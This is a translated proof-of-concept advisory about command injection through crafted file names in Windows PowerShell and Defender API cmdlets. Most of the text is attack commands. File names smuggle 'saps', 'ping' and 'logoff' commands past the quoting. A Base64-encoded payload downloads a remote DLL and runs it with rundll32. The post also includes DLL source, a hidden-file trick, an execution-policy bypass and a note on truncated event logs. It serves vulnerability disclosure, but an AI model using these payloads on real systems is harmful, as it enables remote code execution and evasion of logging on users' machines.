Windows PowerShell 文件名与 Defender 反恶意软件 API - 代码执行 POC
发现:John Page(又名 hyp3rlinx)2019 年发现,并于 2023 年重新审视
更新于 2023 年 12 月 24 日
绕过 PowerShell 中单引号的障碍实现代码执行,外加 PS Windows 事件日志失败!
分号与搭档 "&" 运算符联手实现任意代码执行能力。
运行一些恶意软件:
C:\Users\gg\Downloads>powershell get-filehash 'Infected&Malware;.zip' -algorithm md5
或者
Windows Defender 反恶意软件扫描:
powershell Start-MpScan -Scanpath 'C:\Users\gg\Downloads\Infected&Malware;.zip'
其中 Malware.exe 位于同一目录,可视为路过式下载(drive-by download)。
Windows 事件日志失败,PS 事件 ID 403,由于截断而无法记录真实文件名:
PS 日志片段:
HostApplication=powershell Start-MpScan -Scanpath 'C:\Users\gg\Downloads\Infected
EngineVersion=5.1.19041.3803
调用 ping 命令?为什么不呢
C:>powershell get-filehash 'powerfail&ping 8.8.8.8&.txt' -algorithm md5
注销受害者:
C:>powershell Start-MpScan -Scanpath 'virus&logoff&test.zip'
更新:2023 年 12 月 7 日新增命令行(CL)和 Windows Defender API 向量,见下文:
由于它仍然有效,我重新拾起并做了一些小改进:
早在 2019 年就已首次报告给 Microsoft,但截至本文撰写时仍未修复。
通过特制文件名实现远程代码执行。
该缺陷源于分号 ";",我们可以解码 Base64 命令并直接从 PS1 文件名执行,或者直接执行命令。
Test;POweRsHeLL -e [BASE64 UTF-16LE PAYLOAD];.ps1
直接调用命令
"Testing;saps (gc -) PoC;.ps1"
攻击向量:双击、拖放到 PS 快捷方式
利用 PowerShell 的替代简写命令,如 "saps"、"gc"(启动进程和获取内容等)。
创建一个木马 PS1 文件,该文件将尝试下载并执行名为 "1.d" 的远程 DLL
Python:
from base64 import b64encode
b64encode("saps http[]//127.0.0.1/1.d;sleep -s 2;rundll32 $HOME\Downloads\1.d, 0".encode('UTF-16LE'))
cwBhAHAAcwAgACAAaAB0AHQAcAA6AC8ALwAxADIANwAuADAALgAwAC4AMQAvADEALgBkADsAcwBsAGUAZQBwACAALQBzACAAMgA7AHIAdQBuAGQAbABsADMAMgAgACQASABPAE0ARQBcAEQAbwB3AG4AbABvAGEAZABzAFwAMQAuAGQALAAgADAA
DLL 代码:
#include <windows.h>
//gcc -shared -o mydll.dll mydll.c -m32
//hyp3rlinx
void evilo(void){
MessageBox(0,"Filename Remote Code Execution PoC\r\nBy hyp3rlinx","M$ Windows PowerShell",1);
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved){
evilo();
return 0;
}
python -m http.server 80
双击木马 PS1 文件。
创建一个名称中包含 saps("启动进程")和 gc("获取内容")的 PS1 文件,它将从隐藏文件中读取命令。
"Test;saps (gc -) PoC;.ps1"
创建隐藏:attrib +s +h "-"
双击或拖放。
a) PowerShell PS1 文件必须设置为默认使用 PowerShell 打开
b) Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy Bypass -Force
c) 用户必须双击、从命令行运行或拖放恶意命名的 PS1 脚本
https://www.youtube.com/watch?v=-ZJnA70Cf4I
https://github.com/hyp3rlinx/PSTrojanFile/assets/12366009/029d41d2-af58-434d-8d0f-0bf8f01d1c55

更新:Microsoft Defender 反恶意软件 PowerShell API - 任意代码执行。
Microsoft Defender 反恶意软件和/或 PowerShell API 可能导致执行任意代码。 例如,扫描目录、.lnk 快捷方式甚至不存在的项目,都可能执行非预期代码。 此向量基于我先前的公告及后续项目 PSTrojanFile 构建。
要求:
示例:
powershell Start-MpScan -Scanpath "C:\Users\gg\Downloads;saps Helper;.1.zip"
(Helper.exe 位于桌面)
创建目录 ";saps Test",Test.exe、Test.cmd 等位于同一命令行(CL)路径
powershell Add-MpPreference -ControlledFolderAccessAllowedApplications ";saps Test"
创建带分号的目录,将名为 doom.exe 的 PE 文件放入同一路径。
powershell Set-ProcessMitigation -PolicyFilePath "test;saps doom"
最后但同样重要的是:
在 PowerShell 中获取文件哈希时会将你注销 :)
c:>powershell get-filehash -algorithm MD5 "Malware;saps logoff.exe"
https://www.youtube.com/watch?v=0Go6yJiRWP8
https://github.com/hyp3rlinx/PSTrojanFile/assets/12366009/b033b9f8-1ea0-4ea3-9fa3-56ea63db5b08